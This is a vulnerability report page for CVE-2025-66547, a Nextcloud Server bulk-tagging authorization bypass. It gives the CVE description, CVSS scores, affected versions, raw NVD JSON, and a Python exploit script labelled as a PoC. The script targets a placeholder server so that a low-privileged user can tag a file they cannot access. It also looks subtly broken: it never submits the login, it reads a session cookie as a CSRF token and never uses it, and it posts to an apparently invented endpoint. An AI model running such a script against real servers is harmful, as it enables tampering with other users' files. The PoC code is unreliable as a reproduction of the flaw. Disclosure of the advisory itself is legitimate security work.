Security Vulnerability Report
中文
CVE-2025-66547 CVSS 4.3 MEDIUM

CVE-2025-66547

Published: 2025-12-05 17:16:05
Last Modified: 2025-12-09 16:31:38

Description

Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Enterprise Server prior to 31.0.1, non-privileged users can modify tags on files they should not have access to via bulk tagging. This vulnerability is fixed in 31.0.1.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:* - VULNERABLE
Nextcloud Server < 31.0.1
Nextcloud Enterprise Server < 31.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-66547 PoC - Nextcloud Bulk Tagging Authorization Bypass # Target: Nextcloud Server < 31.0.1 TARGET_URL = "https://vulnerable-nextcloud-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" TARGET_FILE_ID = "12345" # File ID the user should not have access to def exploit(): # Step 1: Authenticate and obtain session session = requests.Session() login_url = f"{TARGET_URL}/index.php/login" login_data = { "user": USERNAME, "password": PASSWORD } # Step 2: Get CSRF token response = session.get(f"{TARGET_URL}/index.php/apps/files") csrf_token = session.cookies.get("oc_sessionPassphrase") # Step 3: Craft the malicious bulk tagging request bulk_tag_url = f"{TARGET_URL}/ocs/v2.php/apps/systemtag/api/v1/" headers = { "OCS-APIREQUEST": "true", "Content-Type": "application/json" } # Payload to assign tag to unauthorized file payload = { "tags": ["important"], "fileIds": [TARGET_FILE_ID], "action": "assign" } # Step 4: Send the exploit request response = session.post( bulk_tag_url + "assign", headers=headers, json=payload ) if response.status_code == 200: print("[+] Successfully modified tag on unauthorized file") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66547", "sourceIdentifier": "[email protected]", "published": "2025-12-05T17:16:05.330", "lastModified": "2025-12-09T16:31:38.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Server is a self hosted personal cloud system. In Nextcloud Server and Enterprise Server prior to 31.0.1, non-privileged users can modify tags on files they should not have access to via bulk tagging. This vulnerability is fixed in 31.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:-:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.1", "matchCriteriaId": "D8631F6B-EED4-4B47-84C3-7BC63464AC15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:nextcloud_server:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "31.0.0", "versionEndExcluding": "31.0.1", "matchCriteriaId": "52B7D78F-BCCC-4178-BB21-AB9587D11386"}]}]}], "references": [{"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-hq6c-r898-fgf2", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://github.com/nextcloud/server/commit/b44f1568f2dc97c746281d99e2342ad679e3d8a9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/server/issues/51247", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/nextcloud/server/pull/51288", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://hackerone.com/reports/3040887", "source": "[email protected]", "tags": ["Permissions Required", "Vendor Advisory"]}]}}